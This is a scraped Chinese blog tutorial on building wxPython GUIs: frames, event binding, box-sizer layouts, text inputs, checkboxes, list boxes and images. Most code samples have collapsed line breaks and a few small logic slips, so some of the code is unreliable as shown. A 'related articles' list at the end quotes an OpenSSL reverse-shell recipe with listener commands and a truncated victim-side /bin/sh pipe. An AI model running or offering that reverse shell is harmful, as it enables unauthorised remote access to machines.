当前位置: 首页 > news >正文

Python6-wxPython库

Python6-wxPython库

    • 1.wxPython库
    • 2.窗口程序
      • 2.1 简单的窗口程序
      • 2.2 自定义窗口类
      • 2.3 面板与静态文本
      • 2.4 事件处理
    • 3.布局管理器
      • 3.1 盒子布局管理
    • 4.控件
      • 4.1 文本输入框
      • 4.2 多选框与单选框
      • 4.3 列表控件
      • 4.4 静态图片


1.wxPython库

官方文档健全:https://docs.wxpython.org/

安装:

pip install wxPython

2.窗口程序

2.1 简单的窗口程序

import wx# 创建应用程序对象
app = wx.App()# 创建窗口对象
# parent为None表示这是一个顶级窗口
frm = wx.Frame(None, title="第一个Python程序", size=(400, 300), pos=(100, 100))# 显示窗口
frm.Show()# 进入主事件循环
app.MainLoop()

2.2 自定义窗口类

import wx# 自定义窗口类
class MyFrame(wx.Frame):def __init__(self):super().__init__(None, title="第一个Python程序", size=(400, 300), pos=(100, 100))# 你的代码# 创建应用程序对象
app = wx.App()# 创建窗口对象
frm = MyFrame()# 显示窗口
frm.Show()# 进入主事件循环
app.MainLoop()

2.3 面板与静态文本

面板是一个没有标题栏的容器(可以容纳其它控件的控件)。

import wx#自定义窗口类
class MyFrame(wx.Frame):def __init__(self):super().__init__(None,title = "第一个Python程序",size = (400,300),pos = (100,100))# 设置面板所在的父容器是当前窗口panel = wx.Panel(parent = self)# 将静态文本放到面板中staticext = wx.StaticText(parent = panel, label = "Hello World!", pos = (10,10))app = wx.App() #创建应用程序对象frm = MyFrame() #创建窗口对象
frm.Show() #显示窗口app.MainLoop() #进入主事件循环

2.4 事件处理

1.事件源:事件发生的场所,就是各个控件。

2.事件:wxPython中的事件被封装为事件类wx.Event及其子类,例如按钮事件类是wx.CommandEvent,鼠标事件类是wx.MoveEvent

3.事件处理程序:一个响应用户事件的方法。

import wx# 自定义窗口类MyFrame
class MyFrame(wx.Frame):def __init__(self):super().__init__(None, title="事件处理", size=(300, 180))panel = wx.Panel(parent=self)self.statictext = wx.StaticText(parent=panel, label="请单击点击按钮", pos=(110, 20))b = wx.Button(parent=panel, label="OK", pos=(100, 50))# 绑定wx.EVT_BUTTON按钮单击事件,按钮b是事件源self.Bind(wx.EVT_BUTTON, self.on_click, b)def on_click(self, event):self.statictext.SetLabelText("Hello,World.")app = wx.App()  # 创建应用程序对象frm = MyFrame()  # 创建窗口对象
frm.Show()  # 显示窗口app.MainLoop()  # 进入主事件循环

3.布局管理器

3.1 盒子布局管理

wxPython提供了布局管理器类帮助实现界面布局, 主要分为两大类: 盒子布局管理器和网格布局管理器。 盒子布局类似于CSS中的弹性布局, 非常灵活, 我们重点介绍盒子布局。

盒子布局管理器类是wx.BoxSizer, Box布局管理器是最常用的布局管理器, 它可以让其中的子窗口(或控件) 沿垂直或水平方向布局。

1.创建盒子布局管理器对象我们使用wx.BoxSizer类创建盒子布局管理器对象, 主要的构造方法如下:

# 设置水平方向布局(默认)
wx.BoxSizer(wx.HORIZONTAL) # 设置垂直方向布局
wx.BoxSizer(wx.VERTICAL)

2 添加子窗口(或控件) 到父窗口我们使用wx.BoxSizer对象的Add() 方法添加子窗口(或控件) 到父窗口, 对Add() 方法的语法说明如下:

proportion参数用于设置当前子窗口(或控件) 在父窗口中所占的空间比例; flag参数是布局标志, 用来控制对齐方式、 边框和调整尺寸; border参数用于设置边框的宽度。

# 添加到父窗口中
Add(window, proportion=0, flag=0, border=0)# 添加到另一个布局对象,用于布局嵌套
Add(sizer, proportion=0, flag=0, border=0)# 下面是几个flag对齐标志
wx.ALIGN_TOP       # 顶对齐
wx.ALIGN_BOTTOM    # 底对齐
wx.ALIGN_LEFT      # 左对齐
wx.ALIGN_RIGHT     # 右对齐
wx.ALIGN_CENTER    # 居中对齐# 下面是flag边框标志
wx.TOP     # 设置有顶部边框,边框的宽度需要通过Add()方法的border参数设置
wx.BOTTOM  # 设置有底部边框
wx.LEFT    # 设置有左边框
wx.RIGHT   # 设置有右边框
wx.ALL     # 设置4面全有边框# flag调整尺寸标志
wx.EXPAND   # 调整子窗口(或控件)完全填满有效空间
wx.SHAPED   # 调整子窗口(或控件)填充有效空间,担保存宽高比
wx.FIXED_MINSIZE # # 调整子窗口(或控件)为最小尺寸
wx.RESERVE_SPACE_EVENT_IF_HIDDEN # 子窗口(或控件)如果被隐藏,则所占空间保留

示例:

import wx# 自定义窗口类MyFrame
class MyFrame(wx.Frame):def __init__(self):super().__init__(None, title="事件处理", size=(300, 180))panel = wx.Panel(parent=self)self.statictext = wx.StaticText(parent=panel, label="请单击OK按钮")b = wx.Button(parent=panel, label="OK")self.Bind(wx.EVT_BUTTON, self.on_click, b)# 创建垂直方向的盒子布局管理器对象vboxvbox = wx.BoxSizer(wx.VERTICAL)# 添加静态文本到vbox布局管理器vbox.Add(self.statictext, proportion=1,flag=wx.ALIGN_CENTER_HORIZONTAL | wx.FIXED_MINSIZE | wx.TOP, border=30)# 添加按钮b到vbox布局管理器vbox.Add(b, proportion=1, flag=wx.EXPAND | wx.BOTTOM, border=10)# 设置面板(panel)采用vbox布局管理器panel.SetSizer(vbox)def on_click(self, event):self.statictext.SetLabelText("Hello,World.")app = wx.App()  # 创建应用程序对象
frm = MyFrame()  # 创建窗口对象
frm.Show()  # 显示窗口
app.MainLoop()  # 进入主事件循环

盒子布局管理器的嵌套:

import wx# 自定义窗口类MyFrame
class MyFrame(wx.Frame):def __init__(self):super().__init__(None, title="布局管理器嵌套", size=(300, 120))panel = wx.Panel(parent=self)self.statictext = wx.StaticText(parent=panel, label="请单击按钮")b1 = wx.Button(parent=panel, id=10, label="Button1")b2 = wx.Button(parent=panel, id=11, label="Button2")# 创建水平方向的盒子布局管理器hbox对象hbox = wx.BoxSizer(wx.HORIZONTAL)# 添加b1到hbox布局管理hbox.Add(b1, proportion=1, flag=wx.EXPAND | wx.ALL, border=10)# 添加b1到hbox布局管理hbox.Add(b2, proportion=1, flag=wx.EXPAND | wx.ALL, border=10)# 创建垂直方向的盒子布局管理器vboxvbox = wx.BoxSizer(wx.VERTICAL)# 添加静态文本到vbox布局管理器vbox.Add(self.statictext, proportion=1,flag=wx.CENTER | wx.FIXED_MINSIZE | wx.TOP, border=10)# 将水平hbox布局管理器对象到垂直vbox布局管理器对象vbox.Add(hbox, proportion=1, flag=wx.CENTER)# 设置面板(pboxanel)采用v布局管理器panel.SetSizer(vbox)# 将两按钮(b1和b2)的单击事件绑定到self.on_click方法self.Bind(wx.EVT_BUTTON, self.on_click, id=10, id2=20)def on_click(self, event):event_id = event.GetId()print(event_id)if event_id == 10:self.statictext.SetLabelText("Button1单击")else:self.statictext.SetLabelText("Button2单击")app = wx.App()  # 创建应用程序对象
frm = MyFrame()  # 创建窗口对象
frm.Show()  # 显示窗口
app.MainLoop()  # 进入主事件循环

4.控件

4.1 文本输入框

在界面中实现三个文本输入控件和三个静态文本:

import wxclass MyFrame(wx.Frame):def __init__(self):super().__init__(None, title="文件输入控件", size=(300, 260))panel = wx.Panel(parent=self)tc1 = wx.TextCtrl(panel)tc2 = wx.TextCtrl(panel, style=wx.TE_PASSWORD)tc3 = wx.TextCtrl(panel, style=wx.TE_MULTILINE)userid = wx.StaticText(panel, label="用户ID:")pwd = wx.StaticText(panel, label="密码:")content = wx.StaticText(panel, label="多行文本:")# 创建垂直方向的盒子布局管理器对象vbox = wx.BoxSizer(wx.VERTICAL)# 添加控件到vbox布局管理器vbox.Add(userid, flag=wx.EXPAND | wx.LEFT, border=10)vbox.Add(tc1, flag=wx.EXPAND | wx.ALL, border=10)vbox.Add(pwd, flag=wx.EXPAND | wx.LEFT, border=10)vbox.Add(tc2, flag=wx.EXPAND | wx.LEFT, border=10)vbox.Add(content, flag=wx.EXPAND | wx.LEFT, border=10)vbox.Add(tc3, flag=wx.EXPAND | wx.LEFT, border=10)# 设置面板(panel)采用vbox布局管理器panel.SetSizer(vbox)# 设置tc1初始值tc1.SetValue("tony")# 获取tc1值print("读取用户ID:{0}".format(tc1.GetValue()))app = wx.App()  # 创建应用程序对象
frm = MyFrame()  # 创建窗口对象
frm.Show()  # 显示窗口
app.MainLoop()  # 进入主事件循环

4.2 多选框与单选框

在界面中实现一组复选框和一组单选按钮:

import wxclass MyFrame(wx.Frame):def __init__(self):super().__init__(None, title="复选框和单选框", size=(330, 120))panel = wx.Panel(parent=self)st1 = wx.StaticText(panel, label="选择你喜欢的编程语言:")cb1 = wx.CheckBox(panel, id=1, label="Python")cb2 = wx.CheckBox(panel, id=2, label="Java")cb2.SetValue(True)cb3 = wx.CheckBox(panel, id=3, label="C++")# 绑定id为1~3的所有控件的事件处理到on_checkbox_clickself.Bind(wx.EVT_CHECKBOX, self.on_checkbox_click, id=1, id2=3)st2 = wx.StaticText(panel, label="选择性别:")# style为wx.RB_GROUP,说明是一个组的开始,直到遇到另外设置style为wx.RB_GROUP的wx.RadioButton单选按钮为止都是同一个组radio1 = wx.RadioButton(panel, id=4, label='男', style=wx.RB_GROUP)radio2 = wx.RadioButton(panel, id=5, label='女')self.Bind(wx.EVT_RADIOBUTTON, self.on_checkbox_click, id=4, id2=5)hbox1 = wx.BoxSizer()hbox1.Add(st1, flag=wx.LEFT | wx.RIGHT, border=5)hbox1.Add(cb1)hbox1.Add(cb2)hbox1.Add(cb3)hbox2 = wx.BoxSizer()hbox2.Add(st2, flag=wx.LEFT | wx.RIGHT, border=5)hbox2.Add(radio1)hbox2.Add(radio2)vbox = wx.BoxSizer(wx.VERTICAL)vbox.Add(hbox1, flag=wx.ALL, border=10)vbox.Add(hbox2, flag=wx.ALL, border=10)# 设置面板(panel)采用vbox布局管理器panel.SetSizer(vbox)def on_checkbox_click(self, event):# 从事件对象中取出事件源cb = event.GetEventObject()print("选择{0},状态{1}".format(cb.GetLabel(), event.IsChecked()))def on_radio_click(self, event):rb = event.GetEventObject()print("第一组{0}被选中".format(rb.GetLabel()))app = wx.App()  # 创建应用程序对象
frm = MyFrame()  # 创建窗口对象
frm.Show()  # 显示窗口
app.MainLoop()  # 进入主事件循环

4.3 列表控件

对列表控件可以进行单选或多选, 列表控件类是wx.ListBox

import wxclass MyFrame(wx.Frame):def __init__(self):super().__init__(None, title="列表", size=(350, 175))panel = wx.Panel(parent=self)st1 = wx.StaticText(panel, label="选择你喜欢的编程语言:")list1 = ['Python', 'C++', 'Java']# choices设置列表选项,style为wx.LB_SINGLE表示单选lb1 = wx.ListBox(panel, choices=list1, style=wx.LB_SINGLE)# 绑定列表选择事件self.Bind(wx.EVT_LISTBOX, self.on_listbox1, lb1)st2 = wx.StaticText(panel, label="选择你喜欢吃的水果:")list2 = ['苹果', '橘子', '香蕉']# style为wx.LB_EXTENDED表示多选列表控件# wx.LB_MULTIPLE: 多选。# wx.LB_EXTENDED: 多选, 但是需要在按住Ctrl或Shift键时选择项目。# wx.LB_SORT: 对列表选择项进行排序lb2 = wx.ListBox(panel, choices=list2, style=wx.LB_EXTENDED)self.Bind(wx.EVT_LISTBOX, self.on_listbox2, lb2)hbox1 = wx.BoxSizer()hbox1.Add(st1, proportion=1, flag=wx.LEFT | wx.RIGHT, border=5)hbox1.Add(lb1, proportion=1)hbox2 = wx.BoxSizer()hbox2.Add(st2, proportion=1, flag=wx.LEFT | wx.RIGHT, border=5)hbox2.Add(lb2, proportion=1)vbox = wx.BoxSizer(wx.VERTICAL)vbox.Add(hbox1, flag=wx.ALL | wx.EXPAND, border=5)vbox.Add(hbox2, flag=wx.ALL | wx.EXPAND, border=5)panel.SetSizer(vbox)def on_listbox1(self, event):listbox = event.GetEventObject()print("选择{0}".format(listbox.GetSelection()))def on_listbox2(self, event):listbox = event.GetEventObject()print("选择{0}".format(listbox.GetSelections()))app = wx.App()  # 创建应用程序对象
frm = MyFrame()  # 创建窗口对象
frm.Show()  # 显示窗口
app.MainLoop()  # 进入主事件循环

4.4 静态图片

静态图片控件用于显示一张图片, 图片可以是wx.Python所支持的任意图片格式, 静态图片控件类是wx.StaticBitmap。

在界面中实现两个按钮和一个静态图片控件, 在单击按钮时显示不同的图片:

import wxclass MyFrame(wx.Frame):def __init__(self):super().__init__(None, title="静态图片控件", size=(300, 300))self.panel = wx.Panel(parent=self)#  创建wx.Bitmap图片对象列表self.bmps = [wx.Bitmap('pic/lena.png', wx.BITMAP_TYPE_PNG),wx.Bitmap('pic/lena_c.bmp', wx.BITMAP_TYPE_BMP),wx.Bitmap('pic/output.bmp', wx.BITMAP_TYPE_BMP)]b1 = wx.Button(self.panel, id=1, label='Button1')b2 = wx.Button(self.panel, id=2, label='Button2')self.Bind(wx.EVT_BUTTON, self.on_click, id=1, id2=2)# 静态图片控件self.image = wx.StaticBitmap(self.panel, bitmap=self.bmps[0])# 创建垂直方向的布局管理器对象vboxvbox = wx.BoxSizer(wx.VERTICAL)# 添加标控件到布局管理器对象vboxvbox.Add(b1, proportion=1, flag=wx.EXPAND)vbox.Add(b2, proportion=1, flag=wx.EXPAND)vbox.Add(self.image, proportion=3, flag=wx.EXPAND)self.panel.SetSizer(vbox)def on_click(self, event):event_id = event.GetId()if event_id == 1:self.image.SetBitmap(self.bmps[1])else:self.image.SetBitmap(self.bmps[2])# 重新设置panel面板布局,因为图片替换后需要重写绘制窗口self.panel.Layout()app = wx.App()  # 创建应用程序对象
frm = MyFrame()  # 创建窗口对象
frm.Show()  # 显示窗口
app.MainLoop()  # 进入主事件循环

相关文章:

Python6-wxPython库

Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全:https://docs.wxpytho…...

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...

竞赛选题 深度学习OCR中文识别 - opencv python

文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习OCR中文识别系统 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;…...

ezEIP信息泄露

漏洞描述 ezEIP存在信息泄露漏洞&#xff0c;通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie&#xff08;通过遍历获取用户的登录名电话邮箱等信息&#xff09; WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...

02.机器学习原理(复习)

目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》&#xff0c;B站自行搜…...

电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。

一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造&#xff0c;特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能&#xff0c;包括线路过…...

UE4和C++ 开发--HUD类

HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器&#xff0c;创建一个蓝图类&#xff0c;搜索HUD&#xff0c;选择并命名BP_HUD。 2. 开始绘制 打开事件列表&#xff0c;右键搜索 EventReceive Draw HUD。有两…...

使用js怎么设置视频背景

要使用JavaScript设置网页的视频背景&#xff0c;你需要将视频元素添加到你的HTML文档中&#xff0c;然后使用JavaScript来控制它 首先&#xff0c;在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...

Gin,Gorm实现Web计算器

目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符&#xff0c;替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...

11-网络篇-DNS步骤

1.URL URL就是我们常说的网址 https://www.baidu.com/?from1086k https是协议 m.baidu.com是服务器域名 ?from1086k是路径 2.域名 比如https://www.baidu.com 顶级域名.com 二级域名baidu 三级域名www 3.域名解析DNS DNS就是将域名转换成IP的过程 根域名服务器&#xff1a…...

设计师都应该知道的事:极简主义家具该怎么去用

这座房子有黑暗而沉重的特征&#xff0c;包括棕色和白色的马赛克浴室瓷砖&#xff0c;弯曲的锻铁壁灯和土黄色的威尼斯石膏墙。但由于房屋与他们的风格相去甚远&#xff0c;白色&#xff0c;干净和简约&#xff0c;接下来我们就着这个方向去帮助房主进行改造。 她解释说&#x…...

设计模式02———建造者模式 c#

首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 更换天空盒&#xff08;个人喜好&#xff09; 任务&#xff1a;使用【UI】点击生成6种车零件组装不同类型车 【建造者模式】 首先资源商店下载车模型 将C…...

2023最新接口自动化测试面试题

1、get和post的区别&#xff1f; l http是上层请求协议&#xff0c;主要定义了服务端和客户端的交互规格&#xff0c;底层都是tcp/ip协议 l Get会把参数附在url之后&#xff0c;用&#xff1f;分割&#xff0c;&连接不同参数&#xff0c;Get获取资源&#xff0c;post会把…...

GaN器件的工作原理

目录 AlGaN/GaNHEMT 器件工作原理&#xff08;常开-耗尽型器件&#xff09;常关 AlGaN/GaN 功率晶体管&#xff08;增强型器件&#xff09;HD-GIT与SP-HEMT AlGaN/GaNHEMT 器件工作原理&#xff08;常开-耗尽型器件&#xff09; 来源&#xff1a;毫米波GaN基功率器件及MMIC电路…...

点云从入门到精通技术详解100篇-海量三维点云的空间索引及可视化应用(续)

目录 3.2.3 方向八叉树与八叉树的比较 3.3 多级索引结构 3.3.1 多级索引结构的构建...

androidx和v4包资源冲突解决方法

一、资源包会报如下错误&#xff1a; 错误类似 (androidx.core:core:1.10.0) 和 (com.android.support:support-compat:24.2.0) 表示资源重复&#xff0c;不知调用androidx包下面的&#xff0c;还是v4包下面的 Duplicate class android.support.v4.app.INotificationSideCha…...

【发烧期间随笔】第一次游戏开发经历的总结与反思

一、前言 这两天三阳了&#xff0c;头疼头晕恶心发烧打喷嚏流鼻涕咳嗽嗓子疼气管疼都找上门来了&#xff0c;这导致一周以来都没学什么东西&#xff0c;无意间又刷到各个游戏厂关于本人目标岗位HC骤减且要求造火箭的能力的消息&#xff0c;这两天一直是在病痛和焦虑中度过的&a…...

CCombBox组合框

1、 MFC_Combo_Box(组合框)的详细用法_mfc combo-CSDN博客 2、 常用属性设置&#xff1a; 属性 含义 data 设置内容&#xff0c;不同内容间用英文的分号“;”分隔 type 显示风格 Sort True 内容自动排序 常用接口&#xff1a; 接口 功能 CComboBox::AddString 组…...

机器学习-有监督学习-神经网络

目录 线性模型分类与回归感知机模型激活函数维度诅咒过拟合和欠拟合正则数据增强数值稳定性神经网络大家族CNNRNNGNN&#xff08;图神经网络&#xff09;GAN 线性模型 向量版本 y ⟨ w , x ⟩ b y \langle w, x \rangle b y⟨w,x⟩b 分类与回归 懂得两者区别激活函数&a…...

React之组件通信

#一、是什么 我们将组件间通信可以拆分为两个词&#xff1a; 组件通信 回顾Vue系列 (opens new window)的文章&#xff0c;组件是vue中最强大的功能之一&#xff0c;同样组件化是React的核心思想 相比vue&#xff0c;React的组件更加灵活和多样&#xff0c;按照不同的方式可…...

什么是微服务架构

阅读“微服务架构”一词可能会让您直观地了解该术语的含义&#xff1a;计算架构中的小型服务。这个定义并不完全错误&#xff0c;但也不完全正确。 微服务架构通常被称为“打破整体”的一种方式。遗憾的是&#xff0c;这与《2001&#xff1a;太空漫游》无关&#xff0c;而是将…...

<%=%>模板写法

<%%> 这种写法通常称为 "内嵌式模板" 或 "模板标记"&#xff0c;在前端开发中&#xff0c;这种标记语法用于将动态数据嵌入HTML模板中。这种写法通常与模板引擎一起使用&#xff0c;这些模板引擎会根据提供的数据动态生成HTML。 不同的模板引擎可能…...

python爬取boss直聘数据(selenium+xpath)

文章目录 一、主要目标二、开发环境三、selenium安装和驱动下载四、主要思路五、代码展示和说明1、导入相关库2、启动浏览器3、搜索框定位创建csv文件招聘页面数据解析(XPATH)总代码效果展示 六、总结 一、主要目标 以boss直聘为目标网站&#xff0c;主要目的是爬取下图中的所…...

GEO生信数据挖掘(六)实践案例——四分类结核病基因数据预处理分析

前面五节&#xff0c;我们使用阿尔兹海默症数据做了一个数据预处理案例&#xff0c;包括如下内容&#xff1a; GEO生信数据挖掘&#xff08;一&#xff09;数据集下载和初步观察 GEO生信数据挖掘&#xff08;二&#xff09;下载基因芯片平台文件及注释 GEO生信数据挖掘&…...

8.Mobilenetv2网络代码实现

代码如下&#xff1a; import math import os import numpy as npimport torch import torch.nn as nn import torch.utils.model_zoo as model_zoo#1.建立带有bn的卷积网络 def conv_bn(inp, oup, stride):return nn.Sequential(nn.Conv2d(inp,oup,3,stride,biasFalse),nn.Bat…...

Spring Boot Controller

刚入门小白&#xff0c;详细请看这篇SpringBoot各种Controller写法_springboot controller-CSDN博客 Spring Boot 提供了Controller和RestController两种注解。 Controller 返回一个string&#xff0c;其内容就是指向的html文件名称。 Controller public class HelloControll…...

在网络安全、爬虫和HTTP协议中的重要性和应用

1. Socks5代理&#xff1a;保障多协议安全传输 Socks5代理是一种功能强大的代理协议&#xff0c;支持多种网络协议&#xff0c;包括HTTP、HTTPS和FTP。相比之下&#xff0c;Socks5代理提供了更高的安全性和功能性&#xff0c;包括&#xff1a; 多协议支持&#xff1a; Socks5代…...

Web测试框架SeleniumBase

首先&#xff0c;SeleniumBase支持 pip安装&#xff1a; > pip install seleniumbase它依赖的库比较多&#xff0c;包括pytest、nose这些第三方单元测试框架&#xff0c;是为更方便的运行测试用例&#xff0c;因为这两个测试框架是支持unittest测试用例的执行的。 Seleniu…...

jvm打破砂锅问到底- 为什么要标记或记录跨代引用

为什么要标记或记录跨代引用. ygc时, 直接把老年代引用的新生代对象(可能是对象区域)记录下来当做根, 这其实就是依据第二假说和第三假说, 强者恒强, 跨代引用少(存在互相引用关系的两个对象&#xff0c;是应该倾 向于同时生存或者同时消亡的). 拿ygc老年代跨代引用对象当做根…...

小程序长期订阅

准备工作 ::: tip 管理后台配置 小程序类目&#xff1a;住建&#xff08;硬性要求&#xff09; 功能-》订阅消息-》我的模版 申请模版&#xff1a;1、预约进度通知 2、申请结果通知 3、业务办理进度提醒 ::: 用户订阅一次后&#xff0c;可长期下发多条消息。目前长期性订阅…...

Studio One6.5中文版本版下载及功能介绍

Studio One是一款专业的音乐制作软件&#xff0c;由美国PreSonus公司开发。该软件提供了全面的音频编辑和混音功能&#xff0c;包括录制、编曲、合成、采样等多种工具&#xff0c;可用于制作各种类型的音乐&#xff0c;如流行音乐、电子音乐、摇滚乐等。 Studio One的主要特点…...

07-Zookeeper分布式一致性协议ZAB源码剖析

上一篇&#xff1a;06-Zookeeper选举Leader源码剖析 整个Zookeeper就是一个多节点分布式一致性算法的实现&#xff0c;底层采用的实现协议是ZAB。 1. ZAB协议介绍 ZAB 协议全称&#xff1a;Zookeeper Atomic Broadcast&#xff08;Zookeeper 原子广播协议&#xff09;。 Zook…...

云原生安全应用场景有哪些?

当今数字化时代&#xff0c;数据已经成为企业最宝贵的资产之一&#xff0c;而云计算作为企业数字化转型的关键技术&#xff0c;其安全性也日益受到重视。随着云计算技术的快速发展&#xff0c;云原生安全应用场景也越来越广泛&#xff0c;下面本文将从云原生安全应用场景出发&a…...

Step 1 搭建一个简单的渲染框架

Step 1 搭建一个简单的渲染框架 万事开头难。从萌生到自己到处看源码手抄一个mini engine出来的想法&#xff0c;到真正敲键盘去抄&#xff0c;转眼过去了很久的时间。这次大概的确是抱着认真的想法&#xff0c;打开VS从零开始抄代码。不知道能坚持多久呢。。。 本次的主题是搭…...

Excel 插入和提取超链接

构造超链接 HYPERLINK(D1,C1)提取超链接 Sheet页→右键→查看代码Sub link()Dim hl As HyperlinkFor Each hl In ActiveSheet.Hyperlinkshl.Range.Offset(0, 1).Value hl.AddressNext End Sub工具栏→运行→运行子过程→提取所有超链接地址参考&#xff1a; https://blog.cs…...

基础架构开发-操作系统、编译器、云原生、嵌入式、ic

基础架构开发-操作系统、编译器、云原生、嵌入式、ic 操作系统编译器词法分析AST语法树生成语法优化生成机器码 云原生容器开发一般遇到的岗位描述RDMA、DPDK是什么东西NFV和VNF是什么RisingWave云原生存储引擎开发实践 单片机、嵌入式雷达路线规划 ic开发 操作系统 以C和Rust…...

C++-Mongoose(3)-http-server-https-restful

1.url 结构 2.http和 http-restful区别在于对于mg_tls_opts的赋值 2.1 http和https 区分 a) port地址 static const char *s_http_addr "http://0.0.0.0:8000"; // HTTP port static const char *s_https_addr "https://0.0.0.0:8443"; // HTTP…...

git多分支、git远程仓库、ssh方式连接远程仓库、协同开发(避免冲突)、解决协同冲突(多人在同一分支开发、 合并分支)

1 git多分支 2 git远程仓库 2.1 普通开发者&#xff0c;使用流程 3 ssh方式连接远程仓库 4 协同开发 4.1 避免冲突 4.2 协同开发 5 解决协同冲突 5.1 多人在同一分支开发 5.2 合并分支 1 git多分支 ## 命令操作分支-1 创建分支git branch dev-2 查看分支git branch-3 分支合…...

ChatGPT或将引发现代知识体系转变

作为当下大语言模型的典型代表&#xff0c;ChatGPT对人类学习方式和教育发展所产生的变革效应已然引起了广泛关注。技术的快速发展在某种程度上正在“倒逼”教育领域开启更深层次的变革。在此背景下&#xff0c;教育从业者势必要学会准确识变、科学应变、主动求变、以变应变&am…...

【爬虫实战】用pyhon爬百度故事会专栏

一.爬虫需求 获取对应所有专栏数据&#xff1b;自动实现分页&#xff1b;多线程爬取&#xff1b;批量多账号爬取&#xff1b;保存到mysql、csv&#xff08;本案例以mysql为例&#xff09;&#xff1b;保存数据时已存在就更新&#xff0c;无数据就添加&#xff1b; 二.最终效果…...

焦炭反应性及反应后强度试验方法

声明 本文是学习GB-T 4000-2017 焦炭反应性及反应后强度试验方法. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 7— 进气口&#xff1b; 8— 测温热电偶。 图 A.1 单点测温加热炉体结构示意图 A.3 温度控制装置 控制精度&#xff1a;(11003)℃。…...

链表(3):双链表

引入 我们之前学的单向链表有什么缺点呢&#xff1f; 缺点&#xff1a;后一个节点无法看到前一个节点的内容 那我们就多设置一个格子prev用来存放前面一个节点的地址&#xff0c;第一个节点的prev存最后一个节点的地址&#xff08;一般是null&#xff09; 这样一个无头双向…...

【TES720D】基于复旦微的FMQL20S400全国产化ARM核心模块

TES720D是一款基于上海复旦微电子FMQL20S400的全国产化核心模块。该核心模块将复旦微的FMQL20S400&#xff08;兼容FMQL10S400&#xff09;的最小系统集成在了一个50*70mm的核心板上&#xff0c;可以作为一个核心模块&#xff0c;进行功能性扩展&#xff0c;特别是用在控制领域…...

Python 列表切片陷阱:引用、复制与深复制

大家早好、午好、晚好吖 ❤ ~欢迎光临本文章 如果有什么疑惑/资料需要的可以点击文章末尾名片领取源码 Python 列表的切片和赋值操作很基础&#xff0c;之前也遇到过一些坑&#xff0c; 但今天刷 Codewars 时发现了一个更大的坑&#xff0c;故在此记录。 Python 列表赋值&am…...

macbook电脑删除app怎么才能彻底清理?

macBook是苹果公司推出的一款笔记本电脑&#xff0c;它的操作系统是macOS。在macBook上安装的app可能会占用大量的存储空间&#xff0c;因此&#xff0c;当我们不再需要某个app时&#xff0c;需要将其彻底删除。macbook删除app&#xff0c;怎么才能彻底呢&#xff1f;本文将给大…...

【数据结构】二叉树--链式结构的实现 (遍历)

目录 一 二叉树的遍历 1 构建一个二叉树 2 前序遍历 3 中序遍历 4 后续遍历 5 层序 6 二叉树销毁 二 应用(递归思想) 1 二叉树节点个数 2 叶子节点个数 3 第K层的节点个数 4 二叉树查找值为x的节点 5 判断是否是二叉树 一 二叉树的遍历 学习二叉树结构&#xff0…...

reids基础数据结构

文章目录 一.整体1.RedisDb2.对象头 二.string三.list1.ziplist2.quicklist 四.hash五.set六.zset1.查找2.插入3.删除4.更新5.元素排名 一.整体 1.RedisDb redis内部的所有键值对是两个hash结构&#xff0c;维护了键值对和过期时间 dict *dictdict *expire 2.对象头 int t…...

gitlab 维护

一 环境信息 二 日常维护 2.1 gitlab mirror 2.1.1 常见方法 社区版本gitab mirror 只能push&#xff0c;默认限制了局域网内mirror 需要修改admin/setting/network(网络)/outbound(出站请求) 勾选允许局域网即可。 2.1.2 疑难问题 内网有三个gitlab A: GITLAB 12 B\C GI…...

ABB机器人RWS连接方法

目录 方法一&#xff1a;curl 方法二&#xff1a;网页地址 方法三&#xff1a;Postman 与ABB机器人通讯&#xff0c;较新机器人&#xff0c;可以使用Robot Web Services&#xff0c;直接方便地使用网页进行查看当前数据&#xff0c;但是网页需要用户名密码验证&#xff0c;测…...

Spring Boot的循环依赖问题

目录 1.循环依赖的概念 2.解决循环依赖的方法 1.构造器方法注入&#xff1a; 2.Lazy注解 3.DependsOn注解 1.循环依赖的概念 两个或多个bean之间互相依赖&#xff0c;形成循环&#xff0c;此时&#xff0c;Spring容器无法确定先实例化哪个bean&#xff0c;导致循环依赖的…...